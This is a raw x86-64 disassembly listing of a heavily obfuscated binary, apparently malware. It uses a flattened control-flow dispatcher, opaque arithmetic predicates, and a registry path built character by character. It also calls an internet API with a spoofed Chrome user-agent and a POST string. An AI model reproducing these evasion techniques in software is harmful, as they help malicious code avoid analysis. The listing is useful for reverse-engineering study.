cmp eax, 0xb6f73d29
jne 0x140014ac0
mov eax, dword [0x1400640e4]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
and eax, 0x454f38d7
and ecx, 0xbab0c728
or ecx, eax
mov edx, ecx
xor edx, 0x2aa08328
xor ecx, 0x41462083
and ecx, 0xd1566483
and edx, 0x2ea99b7c
or edx, ecx
mov ecx, edx
xor ecx, 0x41520483
xor edx, 0x2ea99b7c
mov eax, edx
or eax, 1
mov ebx, eax
not ebx
and edx, 0x9cac6274
and ecx, 0x63539d8b
or ecx, edx
mov edx, ecx
xor edx, 0x4043008a
xor ecx, 0x9cac6275
mov edi, eax
and edi, 0x2fb0ff35
and ebx, 0xd04f00ca
or ebx, edi
or eax, ecx
and ecx, 0x2fb0ff35
and edx, 0xd04f00ca
or edx, ecx
xor edx, ebx
not eax
or eax, edx
mov ecx, eax
xor ecx, 0x57b40414
and ecx, eax
not eax
and eax, 0x57b40414
mov edx, eax
and edx, ecx
xor ecx, eax
or ecx, edx
mov eax, ecx
not eax
and eax, 0x34de7e89
and ecx, 0xcb218176
or ecx, eax
xor ecx, 0x9c958562
setne r8b
sete cl
cmp dword [0x1400640e8], 9
setg al
mov ebx, eax
xor bl, cl
not bl
and bl, cl
or cl, al
xor cl, 1
mov edx, ebx
and dl, cl
xor cl, bl
or cl, dl
mov edx, r8d
xor dl, al
or al, r8b
xor al, 1
or al, dl
xor al, 1
mov ebx, edx
and bl, al
xor al, dl
or al, bl
xor al, cl
and cl, al
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0xaf613f2d
mov ebx, 0x4a6c0f04
cmovne edx, ebx
test al, 1
mov eax, 0xaf613f2d
cmovne eax, edx
test cl, cl
jmp 0x14001c963
cmp eax, 0xe43cc5f3
je 0x14001bc56
cmp eax, 0xe58518f5
jne 0x140014ac0
cmp byte [rbp + 0xad], 0
mov eax, 0xd99f4bcd
mov ecx, 0xbf2ad024
jmp 0x14001cca4
cmp eax, 0x3c953fbe
je 0x14001bdc3
cmp eax, 0x3cc2d6ae
jne 0x140014ac0
mov rax, qword [rbp + 0x20]
movsx eax, byte [rax + 2]
mov word [0x1400693c0], ax
mov rax, qword [rbp + 0x20]
movsx eax, byte [rax + 3]
mov word [0x1400693c2], ax
mov eax, 0x1309abfc
cmp eax, 0xf730b1c8
jle 0x140014d50
jmp 0x140014acb
cmp eax, 0xfaf69cf3
je 0x14001bef5
cmp eax, 0xfb669c80
jne 0x140014ac0
mov eax, 0xeb23e01f
cmp eax, 0xf730b1c8
jle 0x140014d50
jmp 0x140014acb
cmp eax, 0x894083c6
je 0x14001bf11
cmp eax, 0x8ab17ba6
jne 0x140014ac0
mov rcx, qword [rbp + 0xa0]
sub rsp, 0x20
call qword [0x140064028]
add rsp, 0x20
mov eax, 0xcb28ceda
cmp eax, 0xf730b1c8
jle 0x140014d50
jmp 0x140014acb
cmp eax, 0xcb28ceda
je 0x14001bf26
cmp eax, 0xcef78668
jne 0x140014ac0
mov edx, dword [0x1400640e4]
mov r8d, dword [0x1400640e8]
lea eax, [rdx - 1]
imul eax, edx
mov esi, eax
not esi
mov edx, esi
and edx, 0x74685afc
mov edi, eax
and edi, 0x8b97a503
or edi, edx
mov edx, edi
xor edx, 0x80800000
xor edi, 0x1080
mov ecx, esi
or ecx, 0xbc8410ac
mov ebx, ecx
not ebx
or edi, 0x42e900
and edi, 0x846f980
and edx, 0xb480002c
or edx, edi
and ecx, 0x846f980
and ebx, 0x43390653
or ebx, ecx
xor ebx, edx
mov ecx, ebx
not ecx
and ecx, 0x437bef52
and ebx, 0xbc8410ad
or ebx, ecx
mov ecx, ebx
not ecx
and esi, ecx
and ebx, eax
or ebx, esi
xor ecx, ebx
test ecx, ebx
sete r9b
setne r10b
cmp r8d, 9
setg r11b
cmp r8d, 0xa
setl al
mov ecx, eax
xor cl, r11b
and cl, al
mov ebx, ecx
xor bl, 1
and cl, bl
mov edx, ebx
and dl, cl
xor cl, bl
or cl, dl
xor cl, r10b
and r10b, al
and r11b, r9b
or r11b, r10b
mov edx, eax
and dl, r9b
xor al, r9b
or al, dl
xor al, 1
mov edx, r11d
and dl, al
xor al, r11b
or al, dl
mov ebx, eax
xor bl, 1
mov edx, ebx
and dl, al
mov r8d, edx
and r8b, bl
xor dl, bl
or dl, r8b
xor dl, cl
xor cl, 1
mov ebx, ecx
and bl, al
xor cl, al
or cl, bl
mov ebx, ecx
xor bl, dl
test cl, 1
mov eax, 0xd078af36
mov ecx, 0xcf500317
cmovne eax, ecx
test dl, 1
cmove eax, ecx
test bl, 1
mov ecx, 0xd078af36
jmp 0x14001c7cd
cmp eax, 0x5d46571e
je 0x14001c049
cmp eax, 0x60f8944b
jne 0x140014ac0
mov eax, 0x4927a9af
mov dword [rbp - 0x68], 0
cmp eax, 0xf730b1c8
jle 0x140014d50
jmp 0x140014acb
cmp eax, 0x31af9351
je 0x14001c221
cmp eax, 0x32285f1c
jne 0x140014ac0
mov eax, dword [rbp - 0x78]
mov dword [rbp + 0x120], eax
mov rax, qword [rbp + 0xe8]
mov ecx, dword [0x1400640e4]
mov eax, dword [0x1400640e8]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
mov ebx, ecx
and ebx, 0xb40f1ff8
and ecx, edx
and edx, 0x4bf0e007
or edx, ebx
mov ebx, edx
xor ebx, 0x4bd06001
xor edx, 0xb40f1ff8
mov edi, ecx
not edi
mov esi, edx
and esi, 0x902c948e
and ebx, 0x6fd36b71
or ebx, esi
or edx, edi
and edi, 0x902c948e
and ecx, 0x6fd36b71
or ecx, edi
xor ecx, ebx
not edx
or edx, ecx
mov edi, edx
mov ecx, edx
xor ecx, 0x26bd183b
and ecx, edx
not edx
and edx, 0xa6a97d5c
and edi, 0x595682a3
or edi, edx
mov edx, edi
xor edx, 0x595682a3
mov ebx, edi
xor ebx, 0x80146567
and ebx, edx
mov esi, ebx
and esi, ecx
xor ecx, ebx
or ecx, esi
mov ebx, ecx
not ebx
and ebx, 0xd942e7c5
and ecx, 0x26bd183a
or ecx, ebx
and edx, 1
xor edi, 0x595682a2
or edi, edx
mov edx, edi
not edx
mov ebx, ecx
not ebx
mov esi, ebx
and esi, 0x19e1a3be
and ecx, 0xe61e5c41
or ecx, esi
or ebx, edi
and edi, 0x19e1a3be
and edx, 0xe61e5c41
or edx, edi
xor edx, ecx
not ebx
or ebx, edx
cmp ebx, 0xffffffff
sete cl
setne r8b
cmp eax, 9
setg dl
cmp eax, 0xa
setl al
or al, r8b
or cl, dl
mov ebx, ecx
xor bl, al
or cl, al
xor cl, 1
or cl, bl
mov eax, r8d
xor al, dl
mov ebx, eax
xor bl, 1
or dl, r8b
xor dl, 1
or dl, al
xor al, dl
xor al, 1
or dl, bl
xor dl, 1
or dl, al
mov eax, edx
xor al, 1
and dl, al
mov ebx, eax
and bl, dl
xor dl, al
or dl, bl
xor dl, 1
xor cl, 1
mov eax, ecx
or al, dl
xor cl, dl
mov edx, eax
xor dl, cl
test cl, 1
mov ecx, 0xe41d45c9
mov ebx, 0x56e4eaa1
cmovne ecx, ebx
test al, 1
mov eax, 0xe41d45c9
jmp 0x14001b49b
cmp eax, 0xa5f56491
je 0x14001c3e1
cmp eax, 0xa7fe7c25
jne 0x140014ac0
cmp byte [rbp + 0xaf], 0
mov eax, 0x41b6c8e8
jmp 0x14001cc9f
cmp eax, 0xe1476aa5
je 0x14001c5dc
cmp eax, 0xe194de42
jne 0x140014ac0
mov eax, dword [0x1400640e4]
lea ecx, [rax - 1]
imul ecx, eax
mov edx, ecx
not edx
mov eax, edx
and eax, 0x6fe628bd
and ecx, 0x9019d742
or ecx, eax
mov ebx, ecx
xor ebx, 0x90090400
xor ecx, 0x40400889
or edx, 0xd2cbcf89
mov eax, edx
not eax
or ecx, 0x8000010
and ecx, 0x4840cb99
and ebx, 0x928b0400
or ebx, ecx
and edx, 0x4840cb99
and eax, 0x25343066
or eax, edx
xor eax, ebx
mov ecx, eax
not ecx
and ecx, 0x2d343076
and eax, 0xd2cbcf89
or eax, ecx
mov ecx, eax
xor ecx, 1
and ecx, eax
mov edx, eax
not edx
and edx, 0x35f1ae46
and eax, 0xca0e51b9
or eax, edx
xor eax, 0xca0e51b8
mov edx, ecx
and edx, eax
xor eax, ecx
or eax, edx
mov ecx, eax
not ecx
mov edx, ecx
and edx, eax
mov ebx, edx
not ebx
mov edi, eax
and edi, 0xd331b9da
and ecx, 0x2cce4625
or ecx, edi
or eax, ebx
and ebx, 0xd331b9da
and edx, 0x2cce4625
or edx, ebx
xor edx, ecx
not eax
or eax, edx
mov ecx, eax
not ecx
and ecx, 0xc78eb6b9
and eax, 0x38714946
or eax, ecx
mov ecx, eax
xor ecx, 0x18110046
xor eax, 0x7869280
and eax, 0x27e6db80
and ecx, 0xd819247f
or ecx, eax
mov eax, ecx
xor eax, 0x2284c080
xor ecx, 0x192469
and ecx, 0x57b3f69
and eax, 0xfa84c096
or eax, ecx
xor eax, 0xfa84c096
sete al
setne cl
cmp dword [0x1400640e8], 0xa
setl bl
xor cl, bl
xor cl, 1
mov edx, ebx
or dl, al
xor dl, 1
or dl, cl
xor dl, 1
mov ecx, eax
xor cl, bl
and al, cl
and cl, bl
mov ebx, eax
and bl, cl
xor cl, al
or cl, bl
xor cl, dl
mov ebx, ecx
not bl
and bl, dl
mov edx, ebx
xor dl, cl
test cl, cl
mov eax, 0x2a3420ef
mov ecx, 0xd7e09ee
cmovne eax, ecx
test bl, bl
mov ebx, 0x2a3420ef
jmp 0x14001cb03
cmp eax, 0x4a6c0f04
je 0x14001c5f1
cmp eax, 0x4c99e3c1
jne 0x140014ac0
mov edx, dword [0x1400640e4]
mov eax, dword [0x1400640e8]
lea ecx, [rdx - 1]
imul ecx, edx
mov ebx, ecx
not ebx
mov edx, ebx
and edx, ecx
mov edi, edx
not edi
mov esi, ecx
and esi, 0xa5f4f0c
and ebx, 0xf5a0b0f3
or ebx, esi
or ecx, edi
and edi, 0xa5f4f0c
and edx, 0xf5a0b0f3
or edx, edi
xor edx, ebx
not ecx
or ecx, edx
mov ebx, ecx
not ebx
and ebx, 0x787fbdf0
mov edx, ecx
and edx, 0x8780420f
or edx, ebx
mov ebx, edx
xor ebx, 0x8780420f
mov edi, ebx
and edi, 0xd0051f1e
and ecx, 0x2ffae0e1
or ecx, edi
mov edi, ecx
not edi
and edi, 0x19734485
and ecx, 0xe68cbb7a
or ecx, edi
xor ecx, 0x3689a465
and ebx, 1
xor edx, 0x8780420e
or edx, ebx
not edx
mov ebx, ecx
and ebx, edx
xor edx, ecx
or edx, ebx
mov ecx, edx
not ecx
and ecx, 0xbb13a5da
and edx, 0x44ec5a25
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0xb05e9bdb
and edx, 0x4fa16424
or edx, ecx
mov ecx, edx
xor ecx, 0x7030c18a
xor edx, 0xb4d3e01
mov ebx, edx
and ebx, 0x8f8a2c74
and ecx, 0x7075d38b
or ecx, ebx
xor ecx, 0x8f8a2c74
xor edx, ecx
test edx, ecx
sete r9b
cmp eax, 9
setg dl
cmp eax, 0xa
setl r8b
mov eax, r9d
xor al, r8b
mov ecx, eax
xor cl, 1
mov ebx, ecx
xor bl, dl
and bl, cl
xor dl, r9b
not dl
and dl, r9b
and al, r8b
mov ecx, edx
and cl, al
xor al, dl
or al, cl
mov r8d, ebx
xor r8b, 1
mov edx, r8d
and dl, bl
xor dl, 1
mov ecx, ebx
xor cl, dl
or dl, bl
xor dl, 1
or dl, cl
mov ecx, edx
and dl, al
xor al, 1
xor cl, 1
and cl, al
or dl, cl
mov ecx, r8d
and cl, al
xor al, r8b
or al, cl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x979cabbc
mov ebx, 0xddc372dc
cmovne ecx, ebx
test al, 1
mov eax, 0x979cabbc
jmp 0x14001b7b4
cmp eax, 0xd4bfbaa
je 0x14001c606
cmp eax, 0xd7e09ee
jne 0x140014ac0
sub rsp, 0x30
mov dword [rsp + 0x20], 0
lea rcx, str.kmdjdheyytgebfghehheneg
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call qword [0x140063bb8]
add rsp, 0x30
mov qword [rbp + 0xb0], rax
cmp qword [rbp + 0xb0], 0
sete byte [rbp + 0xbf]
mov ecx, dword [0x1400640e4]
mov eax, dword [0x1400640e8]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
xor ecx, 0x57c4ad7f
and ecx, edx
not edx
and edx, 0x57c4ad7f
mov ebx, edx
and ebx, ecx
xor ecx, edx
or ecx, ebx
mov edx, ecx
not edx
and edx, 0xa83b5280
and ecx, 0x57c4ad7f
or ecx, edx
mov ebx, ecx
not ebx
and ebx, 0x7cb28ec3
mov edx, ecx
and edx, 0x834d713c
or edx, ebx
mov ebx, edx
xor ebx, 0x834d713c
mov edi, edx
xor edi, 0xb95c9b67
and edi, ebx
and ecx, 0x3a11ea5b
mov esi, edi
and esi, ecx
xor ecx, edi
or ecx, esi
mov edi, ecx
not edi
and edi, 0x3a11ea5a
and ecx, 0xc5ee15a5
or ecx, edi
and ebx, 1
xor edx, 0x834d713d
or edx, ebx
mov ebx, edx
not ebx
and ebx, 0xd2284e14
and edx, 0x2dd7b1eb
or edx, ebx
mov ebx, edx
xor ebx, 0x957b123
mov edi, ecx
not edi
xor edx, 0xd2284e14
mov esi, edi
and esi, 0xb68042cc
and ecx, 0x497fbd33
or ecx, esi
or edi, edx
and edx, 0xb68042cc
and ebx, 0x497fbd33
or ebx, edx
xor ebx, ecx
not edi
or edi, ebx
mov ecx, edi
not ecx
and edi, 0x516798f1
and ecx, 0xae98670e
or ecx, edi
mov edx, ecx
xor edx, 0x12088d0
xor ecx, 0x86106208
and ecx, 0xd6577229
and edx, 0x29a88dd6
or edx, ecx
mov ecx, edx
xor ecx, 0x21a000d2
xor edx, 0xc4042201
and edx, 0xcc0caf05
and ecx, 0x33f350fa
or ecx, edx
xor ecx, 0x33f350fa
setne r8b
sete cl
cmp eax, 9
setg bl
cmp eax, 0xa
setl al
mov edx, r8d
and dl, al
xor al, cl
and cl, bl
or cl, dl
or bl, r8b
xor bl, 1
or bl, al
mov edx, ebx
xor dl, cl
xor cl, 1
xor dl, 1
or cl, bl
xor cl, 1
or cl, dl
mov edx, ecx
mov ebx, eax
xor bl, cl
and bl, al
and cl, al
xor al, 1
not dl
and dl, al
or cl, dl
mov edx, ecx
xor dl, bl
test cl, cl
mov eax, 0x2a3420ef
mov edi, 0x96ff1993
cmovne eax, edi
test bl, bl
mov ecx, 0x2a3420ef
cmove eax, ecx
test dl, dl
cmovne eax, edi
cmp eax, 0xf730b1c8
jle 0x140014d50
jmp 0x140014acb
cmp eax, 0x94f49f2a
je 0x14001c6d3
cmp eax, 0x96ff1993
jne 0x140014ac0
cmp byte [rbp + 0xbf], 0
mov eax, 0x1bc90758
mov ecx, 0xd812a771
jmp 0x14001cca4
cmp eax, 0xd812a771
je 0x14001c7e0
cmp eax, 0xd99f4bcd
jne 0x140014ac0
mov ecx, dword [0x1400640e4]
mov eax, dword [0x1400640e8]
lea ebx, [rcx - 1]
imul ebx, ecx
mov ecx, ebx
not ecx
or ebx, 0x8653832a
mov edi, ebx
not edi
or ecx, 0x79ac7cd5
mov edx, ecx
not edx
and ebx, 0x7c300b2f
and edi, 0x18c74d0
or edi, ebx
and ecx, 0x7c300b2f
and edx, 0x82438000
or edx, ecx
xor edx, edi
mov ecx, edx
not ecx
and ecx, 0x8653832a
and edx, 0x79ac7cd5
or edx, ecx
mov ecx, edx
not ecx
mov edi, ecx
and edi, 0x57bd8655
mov ebx, edx
and ebx, 0xa84279aa
or ebx, edi
mov edi, ebx
not edi
and edi, 0x40751109
and ebx, 0xbf8aeef6
or ebx, edi
xor ebx, 0xe83768a2
and edx, 0x7b42962a
mov edi, ecx
and edi, 0x84bd69d5
or edi, edx
xor edi, 0x7b42962b
and ecx, 1
or ecx, edi
mov edx, ecx
not edx
and edx, 0x6f4b5833
and ecx, 0x90b4a7cc
or ecx, edx
xor ecx, 0x90b4a7cc
mov edx, ebx
and edx, ecx
xor ecx, ebx
or ecx, edx
mov edx, ecx
not edx
and ecx, edx
mov ebx, edx
and ebx, ecx
xor ecx, edx
or ecx, ebx
mov edx, ecx
not edx
and edx, 0xe31e956
and ecx, 0xf1ce16a9
or ecx, edx
mov edx, ecx
xor edx, 0x30ca06a8
xor ecx, 0x231a010
and ecx, 0xc335b011
and edx, 0x3cca4fee
or edx, ecx
xor edx, 0xc335b011
cmp edx, 0xffffffff
setne r8b
sete r9b
cmp eax, 0xa
setl cl
cmp eax, 9
setg r10b
mov edx, r9d
xor dl, r8b
and dl, r9b
mov eax, edx
xor al, 1
or al, dl
xor al, 1
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov edx, r10d
xor dl, al
xor dl, 1
and dl, al
or al, r10b
mov ebx, eax
xor bl, dl
xor dl, 1
xor bl, 1
or dl, al
xor dl, 1
or dl, bl
xor r10b, r8b
mov eax, ecx
and al, r9b
xor cl, r9b
or cl, al
xor cl, 1
mov eax, r10d
and al, cl
xor cl, r10b
or cl, al
mov eax, ecx
xor al, 1
and al, cl
xor al, 1
mov ebx, ecx
xor bl, al
or al, cl
xor al, 1
or al, bl
mov ecx, eax
xor cl, 1
xor al, dl
xor dl, 1
or dl, cl
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0x2f4377fc
mov ebx, 0xf37a1b1f
cmovne eax, ebx
test dl, 1
mov edx, 0x2f4377fc
cmovne eax, edx
jmp 0x14001cc7d
cmp eax, 0x796c32f6
je 0x14001c7fc
cmp eax, 0x7aab9f97
jne 0x140014ac0
mov eax, 0xe43cc5f3
cmp eax, 0xf730b1c8
jle 0x140014d50
jmp 0x140014acb
cmp eax, 0xbc9b9ed6
je 0x14001c811
cmp eax, 0xbdffdaa2
jne 0x140014ac0
sub rsp, 0x20
call fcn.1400014d0
add rsp, 0x20
mov rax, qword [rbp - 0x40]
mov rax, qword [rbp - 0x40]
mov dword [rax], 0xff
mov rax, qword [rbp - 0x38]
movaps xmmword [rax], xmm6
mov dword [rax + 0x10], 0
mov rax, qword [rbp - 0x30]
mov rsi, qword [rbp - 0x30]
sub rsp, 0x20
mov r8d, 0x5dc
mov rcx, rsi
xor edx, edx
call fcn.14003c6a0
add rsp, 0x20
mov rax, qword [rbp - 0x30]
mov word [rax + 0x18], 0x72
mov rax, qword [rbp - 0x30]
mov word [rax + 0x1a], 0x6f
mov rax, qword [rbp - 0x30]
mov word [rax + 0x1c], 0x73
mov word [rsi], 0x53
mov rax, qword [rbp - 0x30]
mov word [rax + 0x12], 0x4d
mov rax, qword [rbp - 0x30]
mov word [rax + 0x2c], 0x6f
mov rax, qword [rbp - 0x30]
mov word [rax + 0xa], 0x41
mov rax, qword [rbp - 0x30]
mov word [rax + 0xc], 0x52
mov rax, qword [rbp - 0x30]
mov word [rax + 0xe], 0x45
mov rax, qword [rbp - 0x30]
mov word [rax + 0x10], 0x5c
mov rax, qword [rbp - 0x30]
mov word [rax + 0x24], 0x5c
mov rax, qword [rbp - 0x30]
mov word [rax + 0x26], 0x5a
mov rax, qword [rbp - 0x30]
mov word [rax + 2], 0x4f
mov rax, qword [rbp - 0x30]
mov word [rax + 4], 0x46
mov rax, qword [rbp - 0x30]
mov word [rax + 6], 0x54
mov rax, qword [rbp - 0x30]
mov word [rax + 8], 0x57
mov rax, qword [rbp - 0x30]
mov word [rax + 0x20], 0x66
mov rax, qword [rbp - 0x30]
mov word [rax + 0x22], 0x74
mov rax, qword [rbp - 0x30]
mov word [rax + 0x14], 0x69
mov rax, qword [rbp - 0x30]
mov word [rax + 0x16], 0x63
mov rax, qword [rbp - 0x30]
mov word [rax + 0x1e], 0x6f
mov rax, qword [rbp - 0x30]
mov word [rax + 0x28], 0x65
mov rax, qword [rbp - 0x30]
mov word [rax + 0x2a], 0x72
mov rax, qword [rbp - 0x40]
sub rsp, 0x40
mov qword [rsp + 0x30], rax
lea rax, [0x140063b60]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0
mov rcx, 0xffffffff80000001
mov rdx, rsi
lea r8, str.POST
mov r9d, 0xffff
call qword [0x140069338]
add rsp, 0x40
mov eax, 0x6245d06f
cmp eax, 0xf730b1c8
jle 0x140014d50
jmp 0x140014acb
cmp eax, 0xec6607a5
je 0x14001c976
cmp eax, 0xeda90239
jne 0x140014ac0
sub rsp, 0x20
mov edx, 0xfa
lea rcx, [0x140064100]
lea r8, [0x14005d1f0]
lea r9, str.unknown_pc
call fcn.14001ccf0
add rsp, 0x20
mov eax, 0xb909e88
cmp eax, 0xf730b1c8
jle 0x140014d50
jmp 0x140014acb
cmp eax, 0x38001322
je 0x14001cb0e
cmp eax, 0x3c63618a
jne 0x140014ac0
mov ecx, dword [0x1400640e4]
mov eax, dword [0x1400640e8]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and edx, 0xc0b28147
and ecx, 0x3f4d7eb8
or ecx, edx
mov ebx, ecx
xor ebx, 0xc0b28147
mov edx, ecx
xor edx, 0xc0b28146
and edx, ebx
xor ecx, 0x260814a8
and ecx, 0xe63814ad
and ebx, 0x19c7eb52
or ebx, ecx
mov edi, ebx
xor edi, 0x11802050
mov ecx, edx
not ecx
xor ebx, 0xe63814ac
mov esi, ecx
and esi, 0x8a7fcb2f
and edx, 0x758034d0
or edx, esi
or ecx, ebx
and ebx, 0x8a7fcb2f
and edi, 0x758034d0
or edi, ebx
xor edi, edx
not ecx
or ecx, edi
mov ebx, ecx
not ebx
mov edx, ebx
and edx, 0x224
and ecx, 0xc8458142
or ecx, edx
mov edi, ecx
xor edi, 0x8008142
xor ecx, 0x111816a0
or ebx, 0xc8458366
mov edx, ebx
not edx
and ecx, 0xd15d16a0
and edi, 0x8008146
or edi, ecx
and ebx, 0xd15d16a0
and edx, 0x26a26819
or edx, ebx
xor edx, edi
mov ecx, edx
not ecx
and ecx, 0xdf20a75e
and edx, 0x20df58a1
or edx, ecx
mov ecx, edx
xor ecx, 0x88801844
xor edx, 0x40020
and edx, 0x601ec3a3
and ecx, 0x9fe13c5c
or ecx, edx
mov edx, ecx
xor edx, 0x1a03400
xor ecx, 0x20188322
and ecx, 0xbe598b7e
and edx, 0x41a67481
or edx, ecx
xor edx, 0xbe598b7e
cmp edx, 0xffffffff
sete dl
setne r8b
cmp eax, 0xa
setl cl
cmp eax, 9
setg al
mov ebx, ecx
or bl, dl
and dl, al
xor al, r8b
xor bl, 1
or bl, al
mov r9d, ebx
xor r9b, 1
and cl, r8b
or cl, dl
mov eax, r9d
and al, bl
mov edx, eax
xor dl, 1
xor al, r9b
or dl, bl
xor dl, 1
or dl, al
xor dl, cl
mov eax, r9d
xor al, cl
or cl, r9b
xor cl, 1
or cl, al
mov eax, ecx
xor al, dl
test cl, 1
mov ecx, 0xfb754397
mov ebx, 0xe1476aa5
cmovne ecx, ebx
test dl, 1
cmove ecx, ebx
test al, 1
mov eax, 0xfb754397
cmove ecx, eax
jmp 0x14001b4a4
cmp eax, 0xfa662243
je 0x14001cb2a
cmp eax, 0xfaa1f2d8
jne 0x140014ac0
mov rax, qword [rbp + 0x108]
mov rax, qword [rbp + 0x100]
mov eax, 0x3311db14
cmp eax, 0xf730b1c8
jle 0x140014d50
jmp 0x140014acb
cmp eax, 0x858390a6
je 0x14001cb58
cmp eax, 0x864114dc
jne 0x140014ac0
mov rax, qword [rbp - 8]
mov rax, qword [rbp - 8]
mov dword [rax], 0
mov rax, qword [rbp]
mov rsi, qword [rbp]
sub rsp, 0x20
mov r8d, 0x1f4
mov rcx, rsi
xor edx, edx
call fcn.14003c6a0
add rsp, 0x20
mov r9, qword [rbp - 8]
mov rcx, qword [rbp + 0xc8]
sub rsp, 0x20
mov rdx, rsi
mov r8d, 0xfa
call qword [0x140064008]
add rsp, 0x20
mov rax, qword [rbp + 8]
mov rax, qword [rbp + 8]
mov qword [rax], rsi
mov rdx, qword [rbp + 8]
sub rsp, 0x20
lea rcx, [0x140069340]
mov r8d, 0x32
xor r9d, r9d
call fcn.140042b30
add rsp, 0x20
mov eax, 0x36c5a1c1
cmp eax, 0xf730b1c8
jle 0x140014d50
jmp 0x140014acb
cmp eax, 0xc4b4a6c9
je 0x14001cc93
cmp eax, 0xc7709e19
jne 0x140014ac0
mov edx, dword [0x1400640e4]
mov r8d, dword [0x1400640e8]
lea eax, [rdx - 1]
imul eax, edx
mov edi, eax
not edi
mov ecx, eax
or ecx, 0x7977657a
mov esi, ecx
not esi
mov edx, edi
or edx, 0x86889a85
mov ebx, edx
not ebx
and ecx, 0xab229989
and esi, 0x4880204
or esi, ecx
and edx, 0xab229989
and ebx, 0x50556472
or ebx, edx
xor ebx, esi
mov ecx, ebx
not ecx
and ecx, 0xe253d6f1
and ebx, 0x1dac290e
or ebx, ecx
mov ecx, ebx
xor ecx, 0x9b24b38a
xor ebx, 0x64db4c75
and edi, ebx
and ecx, eax
or ecx, edi
xor ebx, ecx
test ebx, ecx
sete al
setne cl
cmp r8d, 0xa
setl dl
cmp r8d, 9
setg bl
and cl, bl
and dl, al
or dl, cl
xor dl, 1
or dl, bl
mov ecx, edx
not cl
xor al, bl
mov ebx, eax
not bl
and bl, dl
or dl, al
and al, cl
or al, bl
mov ecx, eax
xor cl, dl
test al, al
mov eax, 0x3cc2d6ae
mov ebx, 0x1309abfc
cmovne eax, ebx
test dl, dl
cmovne eax, r12d
jmp 0x14001cc7d
mov rax, qword [rbp + 0x20]
movsx eax, byte [rax + 2]
mov word [0x1400693c0], ax
mov rsi, qword [rbp + 0x20]
mov edx, dword [0x1400640e4]
mov eax, dword [0x1400640e8]
lea ebx, [rdx - 1]
imul ebx, edx
mov edx, ebx
xor edx, 0xd93dd100
and edx, ebx
not ebx
and ebx, 0xd93dd100
mov edi, ebx
and edi, edx
xor edx, ebx
or edx, edi
mov ebx, edx
not ebx
and ebx, 0x26c22eff
and edx, 0xd93dd100
or edx, ebx
mov ebx, edx
xor ebx, 1
and ebx, edx
mov edi, edx
not edi
and edi, 0x3b8ffcf6
and edx, 0xc4700309
or edx, edi
xor edx, 0xc4700308
mov edi, ebx
and edi, edx
xor edx, ebx
or edx, edi
mov ebx, edx
not ebx
mov edi, ebx
and edi, 0xda3bcf49
and edx, 0x25c430b6
or edx, edi
mov edi, edx
xor edi, 0x1800000
xor edx, 0x8010500
or ebx, 0x59815d01
or edx, 0xa624a25c
and edx, 0xae25b75c
and edi, 0x51804801
or edi, edx
mov edx, ebx
not edx
and ebx, 0xae25b75c
and edx, 0x5a00a2
or edx, ebx
xor edx, edi
mov ebx, edx
not ebx
and ebx, 0xa67ea2fe
and edx, 0x59815d01
or edx, ebx
mov ebx, edx
not ebx
mov edi, ebx
and edi, 0xe4375e94
and edx, 0x1bc8a16b
or edx, edi
xor edx, 0x1bc8a16b
or edx, ebx
cmp edx, 0xffffffff
setne r8b
sete r9b
cmp eax, 0xa
setl dl
cmp eax, 9
setg cl
mov ebx, ecx
xor bl, dl
and bl, cl
mov eax, ebx
xor al, 1
or al, bl
xor al, 1
mov r10d, ebx
and r10b, al
xor al, bl
or al, r10b
xor al, r9b
and r8b, dl
and cl, r9b
or cl, r8b
mov ebx, edx
and bl, r9b
xor dl, r9b
or dl, bl
xor dl, 1
mov ebx, ecx
and bl, dl
xor dl, cl
or dl, bl
mov ecx, eax
and cl, dl
xor dl, al
or cl, dl
mov ebx, ecx
xor bl, dl
test cl, 1
mov eax, 0x94c21e42
mov edi, 0x3cc2d6ae
cmovne eax, edi
movsx ecx, byte [rsi + 3]
test dl, 1
mov r12d, 0x3cc2d6ae
cmove eax, edi
mov word [0x1400693c2], cx
test bl, 1
mov ecx, 0x94c21e42
jmp 0x14001c7cd
sub rsp, 0x30
mov dword [rsp + 0x20], 0
lea rcx, str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_123.0.0.0_Safari_537.36
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call qword [0x140063bb8]
add rsp, 0x30
mov qword [rbp + 0xd8], rax
cmp qword [rbp + 0xd8], 0
sete byte [rbp + 0xe7]
mov edx, dword [0x1400640e4]
mov r8d, dword [0x1400640e8]
lea ebx, [rdx - 1]
imul ebx, edx
mov eax, ebx
not eax
mov ecx, ebx
or ecx, 0xb804ed30
mov esi, ecx
not esi
mov edi, eax
or edi, 0x47fb12cf
mov edx, edi
not edx
and ecx, 0x4eceb188
and esi, 0x1310247
or esi, ecx
and edi, 0x4eceb188
and edx, 0xb0004c30
or edx, edi
xor edx, esi
mov ecx, edx
not ecx
and ecx, 0x1277ad62
and edx, 0xed88529d
or edx, ecx
mov ecx, edx
xor ecx, 0xa2520050
and eax, 0x64db24a5
and ebx, 0x9b24db5a
or ebx, eax
mov eax, ebx
xor eax, 0x93049250
xor edx, 0x558cbfac
mov edi, edx
and edi, 0x8214d0b
and ecx, 0xf7deb2f4
or ecx, edi
xor ebx, 0x10401
and ebx, 0x8214d0b
and eax, 0xf7deb2f4
or eax, ebx
xor eax, ecx
xor edx, eax
test edx, eax
setne r9b
sete r10b
cmp r8d, 0xa
setl r11b
cmp r8d, 9
setg al
mov ebx, r10d
or bl, al
xor bl, 1
mov ecx, r10d
xor cl, al
not cl
and cl, al
mov edx, ebx
and dl, cl
xor cl, bl
or cl, dl
and r9b, r11b
or r11b, r10b
and al, r10b
or al, r9b
xor al, 1
mov edx, r11d
xor dl, al
or al, r11b
xor al, 1
or al, dl
mov ebx, eax
xor bl, 1
mov edx, ebx
and dl, al
mov r8d, edx
and r8b, bl
xor dl, bl
or dl, r8b
mov ebx, edx
xor dl, 1
and dl, cl
xor cl, 1
